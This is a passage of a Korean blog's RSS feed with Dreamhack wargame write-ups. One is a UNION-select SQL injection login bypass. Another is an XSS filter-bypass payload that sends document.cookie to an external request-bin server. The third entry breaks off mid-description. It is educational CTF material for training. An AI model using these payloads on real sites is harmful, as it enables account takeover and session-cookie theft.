      <comments>https://s-security.tistory.com/115#entry115comment</comments>
      <pubDate>Sun, 27 Apr 2025 23:24:42 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - simple_sqli_chatgpt</title>
      <link>https://s-security.tistory.com/114</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - simple-sqli-chatgpt - web]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sql injection 문제인데 chatgpt랑 같이 풀어보라고 되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처18.JPG&quot; data-origin-width=&quot;1543&quot; data-origin-height=&quot;307&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blzJCJ/btsNut00Z1F/GtkLT6bQEcCVKR9C6CueC1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blzJCJ/btsNut00Z1F/GtkLT6bQEcCVKR9C6CueC1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blzJCJ/btsNut00Z1F/GtkLT6bQEcCVKR9C6CueC1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblzJCJ%2FbtsNut00Z1F%2FGtkLT6bQEcCVKR9C6CueC1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1543&quot; height=&quot;307&quot; data-filename=&quot;캡처18.JPG&quot; data-origin-width=&quot;1543&quot; data-origin-height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 위와 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처19.JPG&quot; data-origin-width=&quot;1537&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMA2OP/btsNuvYRYkr/JA4fmWkWERxR6PK2bifWY1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMA2OP/btsNuvYRYkr/JA4fmWkWERxR6PK2bifWY1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMA2OP/btsNuvYRYkr/JA4fmWkWERxR6PK2bifWY1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMA2OP%2FbtsNuvYRYkr%2FJA4fmWkWERxR6PK2bifWY1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1537&quot; height=&quot;440&quot; data-filename=&quot;캡처19.JPG&quot; data-origin-width=&quot;1537&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login 페이지로 가본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처21.JPG&quot; data-origin-width=&quot;2051&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxcEMy/btsNtNfcj7r/OjXOpPik7rlrbu4Io4yf80/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxcEMy/btsNtNfcj7r/OjXOpPik7rlrbu4Io4yf80/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxcEMy/btsNtNfcj7r/OjXOpPik7rlrbu4Io4yf80/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxcEMy%2FbtsNtNfcj7r%2FOjXOpPik7rlrbu4Io4yf80%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2051&quot; height=&quot;628&quot; data-filename=&quot;캡처21.JPG&quot; data-origin-width=&quot;2051&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처20.JPG&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;1172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qKequ/btsNuZynFZm/SZmk16nEVM6kqac6wbjquK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qKequ/btsNuZynFZm/SZmk16nEVM6kqac6wbjquK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qKequ/btsNuZynFZm/SZmk16nEVM6kqac6wbjquK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqKequ%2FbtsNuZynFZm%2FSZmk16nEVM6kqac6wbjquK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1027&quot; height=&quot;1172&quot; data-filename=&quot;캡처20.JPG&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;1172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운로드 받으면 위와 같은 app.py가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 초반 부분을 보면 users 테이블에 admin보다 guest를 먼저 넣는다는 걸 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 흔히들 아는 'or'1'='1 같은 건 사용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 union select를 사용하면 어떨까?&lt;/p&gt;
&lt;pre id=&quot;code_1745241985050&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;' union select * from users;-- -&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 코드는 guest와 admin을 둘다 반환하지만, 기본이 오름차순이라 userid가 더 먼저인 admin이 먼저 나오게 되어 admin으로 로그인을 할 수 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처22.JPG&quot; data-origin-width=&quot;1418&quot; data-origin-height=&quot;189&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/erenEr/btsNt2woAz9/KfSpF4BgJtKvooD3WSJwG0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/erenEr/btsNt2woAz9/KfSpF4BgJtKvooD3WSJwG0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/erenEr/btsNt2woAz9/KfSpF4BgJtKvooD3WSJwG0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FerenEr%2FbtsNt2woAz9%2FKfSpF4BgJtKvooD3WSJwG0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1418&quot; height=&quot;189&quot; data-filename=&quot;캡처22.JPG&quot; data-origin-width=&quot;1418&quot; data-origin-height=&quot;189&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 해당 코드를 적은 후 Login 버튼을 누르면 위와 같이 플래그가 출력되는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>드림핵워게임</category>
      <category>드림핵웹해킹</category>
      <category>워게임문제</category>
      <category>웹해킹</category>
      <category>웹해킹기초</category>
      <category>웹해킹문제</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/114</guid>
      <comments>https://s-security.tistory.com/114#entry114comment</comments>
      <pubDate>Mon, 21 Apr 2025 22:29:56 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - XSS Filtering Bypass</title>
      <link>https://s-security.tistory.com/113</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - XSS Filtering Bypass - web]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS Filtering한 걸 우회하는 웹해킹 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처13.JPG&quot; data-origin-width=&quot;1538&quot; data-origin-height=&quot;367&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kVQb7/btsNuirVBc5/iCUyKeik0QHqmywEGdsi2k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kVQb7/btsNuirVBc5/iCUyKeik0QHqmywEGdsi2k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kVQb7/btsNuirVBc5/iCUyKeik0QHqmywEGdsi2k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkVQb7%2FbtsNuirVBc5%2FiCUyKeik0QHqmywEGdsi2k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1538&quot; height=&quot;367&quot; data-filename=&quot;캡처13.JPG&quot; data-origin-width=&quot;1538&quot; data-origin-height=&quot;367&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 위와 같이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처14.JPG&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bx6Tm2/btsNucrGM1o/SXmcfy6k3g4C3qNuSV4Jrk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bx6Tm2/btsNucrGM1o/SXmcfy6k3g4C3qNuSV4Jrk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bx6Tm2/btsNucrGM1o/SXmcfy6k3g4C3qNuSV4Jrk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbx6Tm2%2FbtsNucrGM1o%2FSXmcfy6k3g4C3qNuSV4Jrk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;614&quot; height=&quot;204&quot; data-filename=&quot;캡처14.JPG&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운로드 받고 app.py를 열어보았는데 주목해야 하는 부분은 위의 xss_filter 함수이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열 script랑 on이랑 javascript:를 필터링하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처15.JPG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckw88E/btsNtLBEjE2/fpVcLrW0V6ygeHZtLiRRAk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckw88E/btsNtLBEjE2/fpVcLrW0V6ygeHZtLiRRAk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckw88E/btsNtLBEjE2/fpVcLrW0V6ygeHZtLiRRAk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fckw88E%2FbtsNtLBEjE2%2FfpVcLrW0V6ygeHZtLiRRAk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1282&quot; height=&quot;406&quot; data-filename=&quot;캡처15.JPG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/flag 엔드포인트로 가보면 위와 같이 나오는데, 여기서 페이로드를 작성해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처16.JPG&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;307&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vIE1z/btsNtsWD8iF/bAEyjpe2m8mDWQF2uen1Ck/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vIE1z/btsNtsWD8iF/bAEyjpe2m8mDWQF2uen1Ck/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vIE1z/btsNtsWD8iF/bAEyjpe2m8mDWQF2uen1Ck/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvIE1z%2FbtsNtsWD8iF%2FbAEyjpe2m8mDWQF2uen1Ck%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1484&quot; height=&quot;307&quot; data-filename=&quot;캡처16.JPG&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 살펴본 필터링 문자열을 우회하기 위해 script 태그는 script 사이에 script를 끼워넣어서 중간꺼만 &quot;&quot;로 바뀌게 해서 최종적으로 script가 되도록 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;location은 &quot;on&quot;에 필터링이 되면 안되므로 &quot;locatio&quot;과 &quot;n&quot;으로 쪼개야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 사용해야할 페이로드는 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1745240658887&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;scriscriptpt&amp;gt;document[&quot;locatio&quot;+&quot;n&quot;].href=&quot;여기에 드림핵 request bin 주소/?flag=&quot;+document.cookie;&amp;lt;/scriscriptpt&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드에 드림핵에서 제공하는 request bin 원격 서버 주소로 바꾸고 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_캡처17.JPG&quot; data-origin-width=&quot;2499&quot; data-origin-height=&quot;885&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4w66G/btsNrtOphtK/b4q1DvU2eIgonwfp8o18f0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4w66G/btsNrtOphtK/b4q1DvU2eIgonwfp8o18f0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4w66G/btsNrtOphtK/b4q1DvU2eIgonwfp8o18f0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4w66G%2FbtsNrtOphtK%2Fb4q1DvU2eIgonwfp8o18f0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2499&quot; height=&quot;885&quot; data-filename=&quot;edited_캡처17.JPG&quot; data-origin-width=&quot;2499&quot; data-origin-height=&quot;885&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 위와 같이 플래그값을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>드림핵워게임</category>
      <category>드림핵웹해킹</category>
      <category>워게임문제</category>
      <category>웹해킹</category>
      <category>웹해킹기초</category>
      <category>웹해킹문제</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/113</guid>
      <comments>https://s-security.tistory.com/113#entry113comment</comments>
      <pubDate>Mon, 21 Apr 2025 22:09:22 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - [wargame.kr] tmitter</title>
      <link>https://s-security.tistory.com/112</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - tmitter - web]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처5.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;976&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O3HQD/btsNi5NV0R6/1uNs2EKwDEkhSiUMKbxKa0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O3HQD/btsNi5NV0R6/1uNs2EKwDEkhSiUMKbxKa0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O3HQD/btsNi5NV0R6/1uNs2EKwDEkhSiUMKbxKa0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO3HQD%2FbtsNi5NV0R6%2F1uNs2EKwDEkhSiUMKbxKa0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;976&quot; data-filename=&quot;캡처5.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;976&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 위와 같이 로그인과 회원가입을 할 수 있는 버튼이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처7.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;939&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1UVRH/btsNkIKu6Sx/Rlalir00i1BUuyxEekGXN1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1UVRH/btsNkIKu6Sx/Rlalir00i1BUuyxEekGXN1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1UVRH/btsNkIKu6Sx/Rlalir00i1BUuyxEekGXN1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1UVRH%2FbtsNkIKu6Sx%2FRlalir00i1BUuyxEekGXN1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;939&quot; data-filename=&quot;캡처7.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;939&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 버튼을 누르면 좌측 상단에 조그맣게 로그인할 수 있는 폼이 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처6.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;229&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OHgKq/btsNkHkuWwf/gHoS9f0L41EhLet40pXj3k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OHgKq/btsNkHkuWwf/gHoS9f0L41EhLet40pXj3k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OHgKq/btsNkHkuWwf/gHoS9f0L41EhLet40pXj3k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOHgKq%2FbtsNkHkuWwf%2FgHoS9f0L41EhLet40pXj3k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;229&quot; data-filename=&quot;캡처6.JPG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;229&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입 버튼을 누르면 위와 같은 페이지가 나오는데, id는 최소 4자, ps는 최소 7자라고 되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
